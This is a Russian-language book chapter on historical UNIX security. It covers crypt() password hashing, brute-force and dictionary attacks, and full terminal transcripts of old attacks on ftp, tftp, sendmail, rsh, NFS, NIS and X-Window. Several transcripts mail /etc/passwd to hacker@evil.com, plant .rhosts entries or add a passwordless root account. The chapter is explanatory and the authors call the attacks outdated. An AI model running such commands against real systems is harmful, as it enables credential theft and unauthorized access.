Подбор пароля

Вирус Морриса заставил по-новому взглянуть на вопросы компьютерной безопасности. Были предприняты шаги не только по закрытию тех брешей, которые он использовал, но и по поиску и классификации причин их появления в UNIX-системах. Также была выявлена необходимость создания некоторого координационного органа, в котором бы накапливалась и систематизировалась информация о различных компьютерных инцидентах, применяемых методах атак и способах защиты от них. Вскоре такой центр CERT (Computer Emergency Response Team) был создан, и первым появившимся в декабре 1988 года бюллетенем стало сообщение об уязвимостях, использованных червем.

Однако и компьютерные взломщики совершенствовали свои методы. Одной из наиболее популярных стала атака с подбором пароля другого пользователя. Ей активно пользовался и вирус Морриса, но, либо развив его идеи, либо создаваясь независимо, вскоре появилось множество программ, занимавшихся подбором пароля к UNIX-машине. И долгое время слова "взломать UNIX" означали запустить взломщик (cracker) паролей.

Как известно, в файле /etc/passwd лежит ключевая информация обо всех пользователях системы, включая входное имя, пароль, полное имя и т. п. Даже в 70-х годах, когда создавались первые версии UNIX, разработчикам было понятно, что пароль пользователя нельзя хранить в открытом виде. Они придумали схему, благодаря которой целенаправленные атаки на то, к чему всегда стремится не очень добропорядочный пользователь - завладеть паролем другого, смогли реализоваться лишь спустя 15 лет. Создатели не шифровали пароль по какому-то секретному алгоритму, так как рано или поздно он стал бы известен очередному не в меру любопытному, но в меру грамотному программисту, который смог бы расшифровать все пароли. Они выбрали путь необратимого преобразования пароля, когда из исходного пароля путем применения к нему специальной однонаправленной функции, называемой хэшированием, получалось значение, из которого никак нельзя получить исходный пароль. Более того, разработчики взяли математически криптостойкий алгоритм DES и на основе его создали функцию crypt(), преобразующую пароль в строку, расположенную в файле /etc/passwd. Эту функцию написал, кстати, Роберт Моррис-старший.

Итак, рассмотрим немного подробнее алгоритм, применяемый UNIX для преобразования пароля пользователя. Кстати, этот алгоритм до сих пор используется в большинстве *IХ.

Из исходного пароля берутся первые восемь байт. Также выбирается 12-битная случайная привязка (salt), используемая при операции хэширования. Она нужна для того, чтобы одинаковые пароли (возможно, у разных людей) не выглядели одинаково после хэширования. Затем к этим двум параметрам применяется специальная функция шифрования, состоящая из 25 повторений чуть измененного алгоритма DES (чтобы исключить использование аппаратных плат, реализующих классический DES; однако такие изменения могли стоить разработчикам ослабления криптостойкости их функции, но, к счастью, этого не случилось), которая дает на выходе 64-битное значение.

Наконец, сама привязка преобразуется в два читабельных ASCII-символа, а хэш -в 11 символов. Итак, функция char* crypt (char* passwd, char* salt) выдает 13-символьную строчку, которая и записывается в файл /etc/passwd.

При входе пользователя в систему вызывается та же функция crypt() с введенным паролем и привязкой, полученной из /etc/passwd. Если результат оказывается равным значению, хранящемуся в файле, то аутентификация считается состоявшейся.

После анализа этой схемы первое, что приходит в голову потенциальному взломщику (если он верит в невозможность обратного преобразования хэша в пароль), - перебор. Берется некоторый набор символов (например, прописные и строчные буквы, цифры и специальные символы типа знаков препинания - всего получается 94 символа), а затем из них по очереди составляются все комбинации вплоть до 8-символьной длины. К каждой из них применяется crypt(), и результат сравнивается с имеющимся. Естественно, что в эти комбинации рано или поздно попадет любой пароль пользователя.

Обрезание пароля до 8 значимых символов, конечно, резко ограничивает множество для перебора, но для тех времен это было вполне допустимо, так как функция crypt() была реализована заведомо неэффективно и время одного ее выполнения доходило до одной секунды на машине класса PDP. Таким образом, в среднем злоумышленник потратил бы на поиск пароля (94+94²+...+94⁸)/2 ~ 3 x 10¹⁵ секунд или около 100 миллионов лет. Если же в качестве множества символов взять прописные латинские буквы (наиболее часто используемое множество), то время перебора составило бы в среднем (26+26²+...+26⁸)/2 ~ 1 x 10¹¹ или "всего" 3 440 лет. Заметим, однако, что на сегодняшний день скорость оптимизированной функции crypt() на средней машине класса Pentium/166 ММХ составляет примерно 15 000 crypt/c, то есть она за 20 лет повысилась в 15 000 раз.

Авторы [23] приводят интересную цифру - в то время (имеется в виду 1991 год) суперкомпьютер Cray выдавал 50 000 crypt/c. То есть сегодня счастливый обладатель какого-нибудь РIII/500 имеет в своем распоряжении вычислительную мощь, которая 8-9 лет назад была доступна только, скажем, АНБ США!

Это означает, что сегодня любой пароль из прописных латинских букв мы сможем найти в среднем за 80 дней.

Более того, этот процесс легко можно распараллелить, и существуют специальные платы, аппаратно выполняющие процесс шифрования, с помощью которых можно еще больше сократить время поиска.

С аналогичным аппаратным прогрессом столкнулась и другая фиксированная величина функции crypt() - привязка. Она создавалась для того, чтобы взломщик не мог применить стандартную для оптимизации программ замену время-память, то есть хэшировать предварительно (и один раз) некий большой набор слов и затем уже быстро искать в нем нужное хэш-значение. Однако если взять словарь в 10 000 слов (в среднем из 6 букв), то для хранения хэшей (еще 11 байт; 2 байта привязки можно не хранить) его слов во всех 4 096 модификациях потребовалось бы примерно 10 000 х 17 х 4 096 байт ~ 660 Мбайт. Раньше такой объем памяти нельзя было представить, а сейчас - один компакт-диск.

Однако вернемся на несколько лет назад, когда вычислительной мощности для полного перебора всех паролей не хватало. Тем не менее хакеры придумали остроумный (но совершенно очевидный) метод, основанный на людской психологии. Он следует из того, что человеку нелегко запомнить длинные бессмысленные наборы символов (идеальные в качестве паролей), поэтому он каким-либо путем попробует выбрать их более-менее запоминающимися и/или осмысленными. Чаще всего им в качестве пароля выбирается существующее слово или какая-либо информация о себе или своих знакомых (имя, дата рождения и т.п.). Ну а поскольку в любом языке не более 100 000 слов, то их перебор займет немного времени, и от 10 до 40% существующих паролей может быть угадано с помощью простой схемы, называемой "атакой по словарю". (Кстати, до 50% таких паролей может быть угадано с использованием всего 1 000 слов.) Как вы уже знаете, даже вирус Морриса применял такой способ, тем более что в UNIX "под рукой" часто оказывается файл-словарь, обычно используемый программами-корректорами. Что же касается "собственных" паролей, то файл /etc/passwd может дать немало информации о пользователе: его входное имя, реальные имя и фамилию, домашний каталог. Вирус Морриса, как вы помните, с успехом пользовался следующими предположениями:

• в качестве пароля берется входное имя пользователя;
• пароль представляет собой двойной повтор имени пользователя;
• то же, но прочитанное справа налево;
• имя или фамилия пользователя;
• то же, но в нижнем регистре.

Забегая несколько вперед, остановимся на ситуации со вскрытием паролей, Во-первых, сегодня трудно предположить, что существует еще какой-нибудь ускользнувший от внимания хакеров способ, позволяющий удаленно выкрасть файл /etc/passwd для последующего анализа (его, безусловно, можно получить, используя сценарий 1 или 2 через изъян в демоне, но это бессмысленно, потому что злоумышленник в этом случае и так стал суперпользователем на вашей машине). Во-вторых, в современных версиях UNIX появился механизм так называемого "затенения" (shadowing) файла паролей: он перемещается в другое место и становится недоступным обычным пользователям по чтению. Но это не очень эффективное средство, что связано (опять-таки!) с идеологией UNIX, и вызов функции getpwent() в некоторых случаях позволяет получить пароли пользователей в классическом виде. В-третьих, иногда функция crypt() заменяется на другую (еще более медленную) хэш-функцию, и запуск старых программ-взломщиков ни к чему не приводит. Обычно это алгоритм MD5, скорость которого в 50 раз меньше, чем crypt(). Аналогично может увеличиваться и размер привязки, например до 24 бит. Наконец, среди пользователей в последние годы проводится большая "разъяснительная работа" по выбору стойких паролей, и процент успешно подобранных паролей с помощью атаки "по словарю" пусть медленно, но падает.

С другой стороны, количество подключающихся к Internet пользователей растет гораздо быстрее.

Однако психологический фактор останется до тех пор, пока с компьютером работает человек, и, наверное, никогда эксперты по компьютерной безопасности не дождутся от пользователя выбора таких простых и радующих душу паролей, как 34jXs5U@bTa!6. Поэтому даже искушенный пользователь хитрит и выбирает пароли типа hope1, user1997, pAsSwOrD, toor, roottoor, parol, gfhjkm, asxz. Видно, что все они, как правило, базируются на осмысленном слове и некотором простом правиле его преобразования: прибавить цифру или год, перевести через букву в другой регистр, записать слово наоборот, прибавить записанное наоборот слово, записать русское слово латинскими буквами, набрать русское слово на клавиатуре с латинской раскладкой, составить пароль из рядом расположенных на клавиатуре клавиш и т.п.

Поэтому не надо удивляться, если такой "хитрый" пароль будет вскрыт хакерами: они не глупее вас и уже вставили в свои программы те правила, по которым могут преобразовываться слова. В самых современных программах (Crack 5.0, John The Ripper) такие правила могут программироваться и задаваться с помощью специального языка самим хакером.

Приведем пример эффективности стратегии перебора. В отдельных книгах по безопасности предлагается выбирать в качестве надежного пароля два осмысленных слова, разделенных некоторым знаком, например good!password. Подсчитаем, сколько в среднем потребуется времени, чтобы сломать пароль, если такое правило включено в набор программы-взломщика (пусть словарь содержит 10 000 слов, разделительными знаками будут 10 цифр и 32 символа, включая знаки препинания): (10000 х (32+10) х 10000)/(15000x2) = 140000 секунд или чуть больше полутора дней.

Итак, из всего вышесказанного ясно, насколько важно для вашей безопасности иметь хорошие пароли, причем вне зависимости от операционной системы, которую вы используете. К сожалению, рекомендации по поводу выбора паролей выходят за рамки этой книги.

Типичные атаки

Далее мы рассмотрим типичные атаки на UNIX-хосты, которые осуществлялись в недалеком прошлом, и попытаемся классифицировать их по предложенным типовым сценариям. Повторимся, что наша книга не является справочником по уязвимостям или учебником по взлому, поэтому в ней приводятся только атаки, которые характеризуют те или иные принципиальные проблемы безопасности UNIX. Почти все атаки даются с подробными листингами, так как потенциальный кракер все равно найдет их в Internet [22], а главное - на сегодняшний день они являются сильно устаревшими и представляют в большей степени теоретический интерес.

Атака с использованием анонимного ftp

Анонимный ftp-сервис (обнаружить его чрезвычайно просто) мог служить легким способом получения доступа из-за частой неправильной конфигурации. Например, система могла иметь полную копию файла /etc/passwd в каталоге ~ftp/etc вместо урезанной версии со всеми вытекающими отсюда последствиями. Кроме того, можно было применить и более изощренный способ - в следующем примере домашний каталог специального пользователя ftp на victim.com доступен для записи. Это позволяет послать по почте самому себе файл /etc/passwd атакуемой машины. Для этого надо создать файл .forward в домашнем каталоге ftp, который выполняется, когда пользователю ftp посылается почта. Например:

evil% cat forward_sucker_file
"|/bin/mail hacker@evil.com < /etc/passwd" 
evil% ftp victim.com 
Connected to victim.com 
220 victim FTP server ready. 
Name (victim.com:hacker): ftp
331 Guest login ok, send ident as password. 
Password: *****
230 Guest login ok, access restrictions apply. 
ftp> ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes). 
total 5
drwxr-xr-x 4 101 1 512 Jun 20 1991 .
drwxr-xr-x 4 101 1 512 Jun 20 1991 ..
drwxr-xr-x 2   0 1 512 Jun 20 1991 bin
drwxr-xr-x 2   0 1 512 Jun 20 1991 etc 
drwxr-xr-x 3 101 1 512 Aug 22 1991 pub 
226 ASCII Transfer complete. 
242 bytes received in 0.066 seconds (3.6 Kbytes/s) 
ftp> put forward_sucker_flle .forward 
43 bytes sent in 0.0015 seconds (28 Kbytes/s) 
ftp> quit
evil% echo test | mail ftp@vlctim.com

Теперь хакер может просто ждать, пока файл с паролями не будет выслан ему. Очевидно, что такая атака (как и следующая) является типичной по сценарию 2. Рассматривая ftp, вспомним совсем старую ошибку:

% ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP-server ready. 
ftp> quote user ftp
331 Guest login ok, send ident as password. 
ftp> quote cwd ~root
530 Please login with USER and PASS. 
ftp> quote pass ftp
230 Guest login ok, access restrictions apply. 
ftp> ls -al /

Если этот прием сработал, то атакующий теперь вошел в систему как суперпользователь. Далее мы рассмотрим более свежие "дыры" в ftp-демонах.

Использование tftp

До сих пор существует (но почти не используется, по крайней мере в глобальных сетях) программа, подобная ftpd, - tftpd. Этот демон не требует пароля для аутентификации. Если хост предоставлял tftp без ограничения доступа (обычно с помощью установок флагов безопасности в файле inetd.conf), то атакующий получал доступ по чтению и записи к любым файлам. Например, можно было получить файл паролей с удаленной машины и разместить его в локальном каталоге /tmp:

evil% tftp
tftp> connect victim.com
tftp> get /etc/passwd /tmp/passwd.victim
tftp> quit

Это атака по сценарию 2.

Проникновение в систему с помощью sendmail

Sendmail - очень сложная программа, у которой всегда было много проблем с безопасностью, включая печально известную команду debug. С ее помощью, например анализируя сообщения, можно было получить некоторую информацию об удаленной системе, вплоть до номера версии. Это позволяет определить наличие в системе известных ошибок.

Кроме того, для старых версий sendmail можно было увидеть, запущен ли псевдоним "decode", имеющий ряд проблем:

evil% telnet victim.com 25
connecting to host victim.com (194.94.94.94.), port 25 connection open
220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT 
expn decode
250 <"|/usr/bin/uudecode">
quit

С псевдонимом "decode" система подвергалась риску, так как злоумышленник мог изменить любые файлы, доступные для записи владельцу этого псевдонима, которым, как правило, являлся демон. Приведенный фрагмент кода помещал evil.com в файл .rhosts пользователя hacker, если он был доступен для записи:

evil% echo "evil.com" | uuencode /home/hacker/.rhosts | mail decode@victim.com

В части программы sendmail, отвечающей за пересылку, были две хорошо известные ошибки. Первую устранили в версии 5.59. В версиях до 5.59 evil.com добавлялся к файлу .rhosts вместе с обычными почтовыми заголовками, несмотря на сообщения об ошибках:

% cat evil_sendmail
telnet victim.com 25 << EOSM 
rcpt to: /home/hacker/.rhosts
mail from: hacker
data
.
rcpt to: /home/hacker/.rhosts
mail from: hacker
data
evil.com
.
quit
EOSM
evil% /bin/sh evil_sendmail
Trying 194.94.94.94
Connected to victim.com 
Escape character is '^]'.
Connection closed by foreign host.
evil% rlogin victim.com -l hacker
Welcome to victim.com!
victim%

Вторая ошибка позволяла кому угодно задавать произвольные команды оболочки и/или пути для посылающей и/или принимающей стороны. Попытки сохранить детали в секрете были тщетными, и широкая дискуссия в эхо-конференциях привела к обнародованию того, как можно использовать некоторые ошибки. Почти все системы оказались уязвимы для подобных атак, поскольку все они имели в основе один и тот же исходный текст. Типичная атака с помощью sendmail, направленная на получение пароля, могла бы выглядеть так:

evil% telnet victim.com 25
Trying 194.94.94.94
Connected to victim.com
Escape character is '^]'.
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|/bin/mail hacker@evil.com  < /etc/passwd"
250 "|/bin/mail hacker@evil.com < /etc/passwd" ... Sender ok 
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted 
quit
Connection closed by foreign host.
evil%

Из примера видно, что все атаки на sendmail идут на уровне незарегистрированного удаленного пользователя и поэтому относятся к сценарию 1.

Атаки на доверие

Напомним, что типичным (и самым опасным) механизмом, использующим доверие, является механизм доверенных хостов, при подключении с которых с помощью r-служб можно зарегистрироваться под любым именем, кроме root, без указания пароля. Само по себе это уже плохо, так как, вскрыв один из хостов, кракер сможет легко по цепочке добраться до следующих. Гораздо более опасно другое: если система, которую собираются атаковать, содержит шаблон "+" (в некоторых системах он устанавливается по умолчанию) в файлах, где описываются доверенные хосты, то все хосты становятся доверенными для данного.

Другие описываемые здесь атаки на доверие также основаны на ненадежной аутентификации или ее отсутствии, поэтому все они относятся к типовому сценарию 4.

Проникновение в систему с помощью rsh

Поскольку специальный пользователь bin, как правило, имеет доступ к ключевым файлам и каталогам, то, зарегистрировавшись как bin, может изменить файл паролей так, чтобы получить привилегии доступа root. Например:

evil% whoami
bin
evil% rsh victim.com csh -i
Warning: no access to tty; thus no job control in this shell...
victim% ls -ldg /etc
drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc
victim% cd /etc
victim% mv passwd pw.old
victim% (echo toor::0:1:суперпользователь без пароля:/:/bin/sh; cat pw.old) > passwd
victim% ^D
evil% rlogin victim.com -l toor 
Welcome to victim.com!
victim#

Несколько замечаний no поводу деталей приведенного выше метода: "rsh victim.com csh -i" используется для проникновения в систему, так как при таком запуске csh не оставляет никаких следов в файлах учета wtmp или utmp, делая rsh невидимым для finger или who. Правда, при этом удаленный командный процессор не подключается к псевдотерминалу, и полноэкранные программы (например, редакторы) работать не будут. На многих системах атака с помощью rsh (в случае успешного завершения) оставалась абсолютно незамеченной, поэтому мы рекомендуем использовать анализатор внешних tcp-подключений, который поможет обнаружить такую деятельность.

Недостатки аутентификации NFS

NFS (Network Filesystem) - это разработанный фирмой Sun сетевой протокол для подключения удаленной файловой системы сервера к рабочей станции. К сожалению, этот протокол использует довольно слабые формы аутентификации пользователей, слишком доверяя им. Как пишут Дж.Спаффорд и С.Гарфинкел [231, "NFS позволяет пользователям на рабочей станции читать и изменять содержимое файлов, расположенных на сервере, даже без необходимости идентифицироваться на нем или вводить пароль. Эта характеристика является сердцем проблем безопасности NFS".

И действительно, стандартная схема аутентификации, принятая в NFS,- так называемая AUTH_UNIX. При ней клиент предоставляет серверу свои UID и GID, по которым, собственно, сервер разрешает или запрещает доступ к тому или иному файлу (то есть использует стандартную схему разграничения доступа в UNIX). Таким образом, сервер полностью доверяет клиенту, а клиент-нарушитель может предстать перед сервером любым пользователем (кроме суперпользователя).

Как видно, создатели все же понимали слабость такой схемы и то, что на удаленном компьютере суперпользователем (!) может быть, в сущности, кто угодно. Поэтому, даже передав серверу UID, равный нулю, злоумышленник не получит максимальные права на сервере NFS. Иначе говоря, файлы, владельцем которых является суперпользователь, защищены от подобных атак.

Предположим, что запуск программы showmount с параметром "атакуемый хост" покажет следующее:

evil% showmount -е victim.com
export list for victim.com:
/export (everyone)
/var (everyone)
/usr easy
/export/exec/kvm/sun4c.sunos.4.1.3 easy 
/export/root/easy easy
/export/swap/easy easy

Сразу заметно, что /export и все его подкаталоги экспортируются во внешнюю среду. Предположим (это можно выяснить с cпомощью finger), что домашним каталогом пользователя guest является /export/foo. Теперь, владея информацией, можно осуществить первое вторжение. Для этого монтируется домашний каталог пользователя guest удаленной машины. Суперпользователь атакующей машины не сможет модифицировать файлы на файловой системе, смонтированной как NFS, а "сам" пользователь сможет! Поэтому, чтобы обмануть доверчивый NFS, надо создать фиктивного пользователя guest с тем же UID, что и на сервере, в локальном файле паролей. Далее стандартно эксплуатируется "излишнее доверие" уже r-служб, и атакующая машина victim.com вставляется в файл .rhosts в удаленном домашнем каталоге guest, что позволит зарегистрироваться в атакуемой машине, не предоставляя пароля:

evil# mount victim.com:/export/foo /foo 
evil# cd /foo
evil# ls -lag
total 3
1 drwxr-xr-x 11 root  daemon 512  Jun 19 09:47 .
1 drwxr-xr-x  7 root   wheel 512  Jul 19 1991  .. 
1 drwx--x--x  9 10001 daemon 1024 Aug  3 15:49 guest
evil# echo guest:х:10001:1:временно для взлома:/: >> /etc/passwd 
evil# su guest
evil% echo victim.com >> guest/.rhosts
evil% rlogin victim.com
Welcome to victim.com!
victim%

Если бы victim.com нe экспортировал домашние каталоги пользователей, а только каталоги с программами (скажем, /usr или /usr/local/bin), можно было бы заменить команду "троянским" конем, который выполнял бы те же операции.

Распространенность NFS приводит к тому, что подобные атаки до сих пор являются актуальными, и, как мы увидим, они похожи на уязвимости, имеющиеся в Windows NT из-за наличия в ней механизма разделения каталогов.

Использование службы NIS

Активный NIS-сервер управляет почтовыми псевдонимами (aliases) для доменов NIS. Подобно рассмотренным вариантам атак с помощью псевдонимов локальной почты можно было создавать почтовые псевдонимы, которые бы выполняли команды, когда им приходит почта. Например, рассмотрим создание псевдонима "foo", посылавшего по почте файл паролей на evil.com, когда на его адрес поступало любое сообщение:

nis-master# echo 'foo: "| mail hacker@evil.com < /etc/passwd "' >> /etc/aliases 
nis-master# cd /var/yp
nis-master# make aliases
nis-master# echo test | mail -v foo@victim.com
 

Таким образом, становится ясно, что NIS была ненадежной службой, которая почти не имела аутентификации клиентов и серверов, и если атакующий управлял активным NIS-сервсром, то он также мог бы эффективно управлять хостами клиентов (например, выполнять произвольные команды).

Особенности безопасности X-Window

Оконная система UNIX, в отличие от оконной системы другой фирмы, является сетевой, поддерживающей сервер и клиента. Ее наличие на компьютере может быть обнаружено, в частности, с помощью сканирования портов. Порт X-Window - обычно 6000.

Сервер X-Window аутентифицировал своих клиентов только по имени хоста, с которого они подключались. Если же он "доверял" всем хостам, то его окна могли быть захвачены или просмотрены, ввод пользователя мог быть украден, программы могли быть удаленно выполнены и т. п. Одним из методов определения уязвимости Х-сервера является подсоединение к нему через функцию XOpenDisplay(). Если функция возвращает не NULL, то доступ можно получить.

Х-терминалы, гораздо менее мощные системы, имели свои проблемы по части безопасности. Многие Х-терминалы разрешали неограниченный rsh-доступ, позволяя запустить Х-клиенты на терминале victim, перенаправляя вывод на локальный терминал:

evil% xhost +xvictim.victim.com
evil% rsh xvictim.victim.com telnet victim.com -display evil.com

В любом случае администратору необходимо было продумать безопасность системы X-Window, иначе система могла подвергаться такому же риску, как и при наличии "+" в hosts.eguiv или при отсутствии пароля у root.

[18370]